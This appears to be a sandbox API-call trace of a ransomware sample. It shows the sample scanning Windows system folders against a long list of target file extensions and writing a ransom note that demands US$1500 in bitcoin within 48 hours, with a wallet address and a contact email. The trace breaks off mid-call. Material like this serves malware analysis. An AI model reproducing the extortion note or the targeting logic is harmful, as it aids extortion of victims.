(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.pem") returned 0 [0111.954] lstrlenA (lpString="*.pem") returned 5 [0111.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.p12") returned 0 [0111.954] lstrlenA (lpString="*.p12") returned 5 [0111.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.gpg") returned 0 [0111.954] lstrlenA (lpString="*.gpg") returned 5 [0111.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.vsd") returned 0 [0111.954] lstrlenA (lpString="*.vsd") returned 5 [0111.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.odg") returned 0 [0111.954] lstrlenA (lpString="*.odg") returned 5 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.raw") returned 0 [0111.955] lstrlenA (lpString="*.raw") returned 5 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.nef") returned 0 [0111.955] lstrlenA (lpString="*.nef") returned 5 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.svg") returned 0 [0111.955] lstrlenA (lpString="*.svg") returned 5 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.psd") returned 0 [0111.955] lstrlenA (lpString="*.psd") returned 5 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.vmx") returned 0 [0111.955] lstrlenA (lpString="*.vmx") returned 5 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.vmdk") returned 0 [0111.955] lstrlenA (lpString="*.vmdk") returned 6 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.vdi") returned 0 [0111.955] lstrlenA (lpString="*.vdi") returned 5 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.lay6") returned 0 [0111.955] lstrlenA (lpString="*.lay6") returned 6 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.mpeg") returned 0 [0111.955] lstrlenA (lpString="*.mpeg") returned 6 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.djvu") returned 0 [0111.955] lstrlenA (lpString="*.djvu") returned 6 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.tiff") returned 0 [0111.955] lstrlenA (lpString="*.tiff") returned 6 [0111.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.backup") returned 0 [0111.956] lstrlenA (lpString="*.backup") returned 8 [0111.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.pdf") returned 0 [0111.956] lstrlenA (lpString="*.pdf") returned 5 [0111.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.cert") returned 0 [0111.956] lstrlenA (lpString="*.cert") returned 6 [0111.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.docm") returned 0 [0111.956] lstrlenA (lpString="*.docm") returned 6 [0111.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.xlsm") returned 0 [0111.956] lstrlenA (lpString="*.xlsm") returned 6 [0111.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.dwg") returned 0 [0111.956] lstrlenA (lpString="*.dwg") returned 5 [0111.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.nd") returned 0 [0111.956] lstrlenA (lpString="*.nd") returned 4 [0111.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.tlg") returned 0 [0111.956] lstrlenA (lpString="*.tlg") returned 5 [0111.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.lgb") returned 0 [0111.956] lstrlenA (lpString="*.lgb") returned 5 [0111.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.mov") returned 0 [0111.956] lstrlenA (lpString="*.mov") returned 5 [0111.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.xdw") returned 0 [0111.956] lstrlenA (lpString="*.xdw") returned 5 [0111.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.ods") returned 0 [0111.957] lstrlenA (lpString="*.ods") returned 5 [0111.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.wav") returned 0 [0111.957] lstrlenA (lpString="*.wav") returned 5 [0111.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.mp3") returned 0 [0111.957] lstrlenA (lpString="*.mp3") returned 5 [0111.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.aiff") returned 0 [0111.957] lstrlenA (lpString="*.aiff") returned 6 [0111.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.flac") returned 0 [0111.957] lstrlenA (lpString="*.flac") returned 6 [0111.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.m4a") returned 0 [0111.957] lstrlenA (lpString="*.m4a") returned 5 [0111.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.csv") returned 0 [0111.957] lstrlenA (lpString="*.csv") returned 5 [0111.957] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4433985, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4433985, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4459ae5, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationBuildTasks.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0111.957] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.957] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44f2067, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x44f2067, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x44f2067, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="08ccd030c85c817c0a889196955a49a4", cAlternateFileName="08CCD0~1")) returned 0 [0111.957] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.957] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c75d803, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c75d803, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c75d803, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationCFFRast#", cAlternateFileName="PRESEN~2")) returned 1 [0111.957] lstrcmpA (lpString1=".", lpString2="PresentationCFFRast#") returned -1 [0111.958] lstrcmpA (lpString1="..", lpString2="PresentationCFFRast#") returned -1 [0111.958] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.958] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="PresentationCFFRast#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#" [0111.958] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#") returned 67 [0111.958] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c75d803, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c75d803, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c75d803, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.959] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.959] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c75d803, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c75d803, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c75d803, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.959] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.959] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.959] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c75d803, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c75d803, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c75d803, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c0ad9f95f88a6678d9ab2a648f0f2eae", cAlternateFileName="C0AD9F~1")) returned 1 [0111.959] lstrcmpA (lpString1=".", lpString2="c0ad9f95f88a6678d9ab2a648f0f2eae") returned -1 [0111.959] lstrcmpA (lpString1="..", lpString2="c0ad9f95f88a6678d9ab2a648f0f2eae") returned -1 [0111.959] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\*.*") returned="*.*" [0111.959] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\", lpString2="c0ad9f95f88a6678d9ab2a648f0f2eae" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae" [0111.959] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae") returned 100 [0111.959] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c75d803, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c75d803, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c75d803, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.960] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.960] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c75d803, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c75d803, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c75d803, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.960] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.960] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.960] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6eb3e3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c6eb3e3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c6eb3e3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationCFFRasterizer.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0111.960] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.960] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationCFFRasterizer.ni.dll") returned -1 [0111.960] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationCFFRasterizer.ni.dll") returned -1 [0111.960] lstrcmpiA (lpString1="", lpString2="PresentationCFFRasterizer.ni.dll") returned -1 [0111.960] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\*.*") returned="*.*" [0111.960] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\" [0111.960] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\") returned="" [0111.960] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\HOW TO DECRYPT FILES.txt" [0111.960] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationcffrast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\how to decrypt files.txt")) returned 0xffffffff [0111.961] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationcffrast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.962] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.962] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.963] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.963] CloseHandle (hObject=0x90) returned 1 [0111.963] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\", lpString2="PresentationCFFRasterizer.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll" [0111.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.ems") returned 0 [0111.963] lstrlenA (lpString="*.ems") returned 5 [0111.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.db") returned 0 [0111.963] lstrlenA (lpString="*.db") returned 4 [0111.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.dbf") returned 0 [0111.963] lstrlenA (lpString="*.dbf") returned 5 [0111.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.myox") returned 0 [0111.963] lstrlenA (lpString="*.myox") returned 6 [0111.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.myo") returned 0 [0111.963] lstrlenA (lpString="*.myo") returned 5 [0111.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbw") returned 0 [0111.964] lstrlenA (lpString="*.qbw") returned 5 [0111.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbb") returned 0 [0111.964] lstrlenA (lpString="*.qbb") returned 5 [0111.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbm") returned 0 [0111.964] lstrlenA (lpString="*.qbm") returned 5 [0111.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbo") returned 0 [0111.964] lstrlenA (lpString="*.qbo") returned 5 [0111.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbx") returned 0 [0111.964] lstrlenA (lpString="*.qbx") returned 5 [0111.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qba") returned 0 [0111.964] lstrlenA (lpString="*.qba") returned 5 [0111.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qby") returned 0 [0111.964] lstrlenA (lpString="*.qby") returned 5 [0111.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qbj") returned 0 [0111.964] lstrlenA (lpString="*.qbj") returned 5 [0111.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.ofx") returned 0 [0111.964] lstrlenA (lpString="*.ofx") returned 5 [0111.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.qif") returned 0 [0111.964] lstrlenA (lpString="*.qif") returned 5 [0111.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mye") returned 0 [0111.964] lstrlenA (lpString="*.mye") returned 5 [0111.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mbox") returned 0 [0111.965] lstrlenA (lpString="*.mbox") returned 6 [0111.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.eml") returned 0 [0111.965] lstrlenA (lpString="*.eml") returned 5 [0111.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.pst") returned 0 [0111.965] lstrlenA (lpString="*.pst") returned 5 [0111.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.ost") returned 0 [0111.965] lstrlenA (lpString="*.ost") returned 5 [0111.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.idx") returned 0 [0111.965] lstrlenA (lpString="*.idx") returned 5 [0111.965] PathMatchSpecA 